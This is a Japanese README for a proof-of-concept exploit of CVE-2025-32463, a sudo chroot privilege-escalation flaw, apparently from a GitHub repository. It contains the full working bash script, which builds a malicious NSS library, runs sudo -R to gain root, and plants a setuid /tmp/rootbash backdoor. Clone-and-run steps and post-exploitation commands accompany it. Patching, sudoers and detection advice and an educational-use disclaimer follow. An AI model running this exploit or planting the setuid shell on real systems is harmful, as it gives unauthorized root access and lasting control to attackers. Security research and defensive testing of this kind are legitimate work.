
CVE-2025-32463を狙ったローカル権限昇格エクスプロイトで、sudoのchroot設計上の欠陥を標的としています。該当するsudoバージョン1.9.14~1.9.17向けのPoCスクリプト、技術分析、および緩和策ガイダンスを提供します。
CVE-2025-32463 は、sudo バージョン 1.9.14 から 1.9.17 における深刻なローカル権限昇格の脆弱性です。この脆弱性により、sudo 権限を持つ攻撃者が chroot オプションの処理ロジックにおける設計上の欠陥を悪用して root アクセスに昇格することが可能になります。
この脆弱性は、sudo のセキュリティ検証プロセスにおける タイミングの問題 に起因します。pivot_root 関数が セキュリティポリシーの検証より前に 実行されるため、攻撃者は sudo が認証および承認に使用するファイルシステム環境を操作できます。
nsswitch.conf を含む制御下の chroot 環境を作成します。pivot_root: プロセス内で早期に実行されるset_cmnd_path: 操作された環境内で動作するcommand_matches: 環境操作によりセキュリティチェックが迂回されるこのエクスプロイトを使用する前に、以下の条件が満たされていることを確認してください。
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
chmod +x cve-2025-32463.sh
./cve-2025-32463.sh
対象システムが脆弱かどうかを確認する:
# sudo バージョンを確認
sudo --version
# sudo 権限を確認
sudo -l
# chroot 関連の権限を検索
sudo -l | grep chroot
メインのエクスプロイトスクリプト (cve-2025-32463.sh):
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
system("id > /tmp/pwned_proof.txt");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
execl("/bin/bash", "/bin/bash", NULL);
}
CEOF
mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c
echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest
# Cleanup
rm -rf ${STAGE?}
エクスプロイト成功後、root アクセスを確認:
# 現在の権限を確認
whoami
# 証明ファイルを確認
cat /tmp/pwned_proof.txt
# setuid bash で永続的な root アクセスを利用
/tmp/rootbash -p
sudo を更新 バージョン 1.9.17p1 以降に:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
# または
sudo dnf update sudo
sudoers から chroot ディレクティブを削除 (一時的な回避策):
# 現在の設定をバックアップ
sudo cp /etc/sudoers /etc/sudoers.backup
# chroot 関連のエントリを削除
sudo sed -i '/chroot/d' /etc/sudoers
# 構文を確認
sudo visudo -c
エクスプロイトの試行を監視:
# 不審な一時ディレクトリを確認
find /tmp -name "*.stage.*" -type d
# sudo ログを監視
tail -f /var/log/auth.log | grep sudo
# NSS ライブラリのコンパイルを確認
find /tmp -name "libnss_*.so*" -type f
この脆弱性は、sudo の実行フローにおける設計上の欠陥 に起因します。
想定される正常なフロー:
実際の脆弱なフロー:
このエクスプロイトは Name Service Switch (NSS) システムを利用します。
/etc/nsswitch.conf を読み取るこのエクスプロイトは以下でテストされています:
⚠️ 重要なお断り ⚠️
このツールは 教育目的および許可されたテスト目的のみ に提供されています。
貢献を歓迎します! 以下の手順に従ってください:
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。
注意: この脆弱性は重要なシステムコンポーネントに影響します。責任を持って使用し、すべてのテストが許可されていることを確認してください。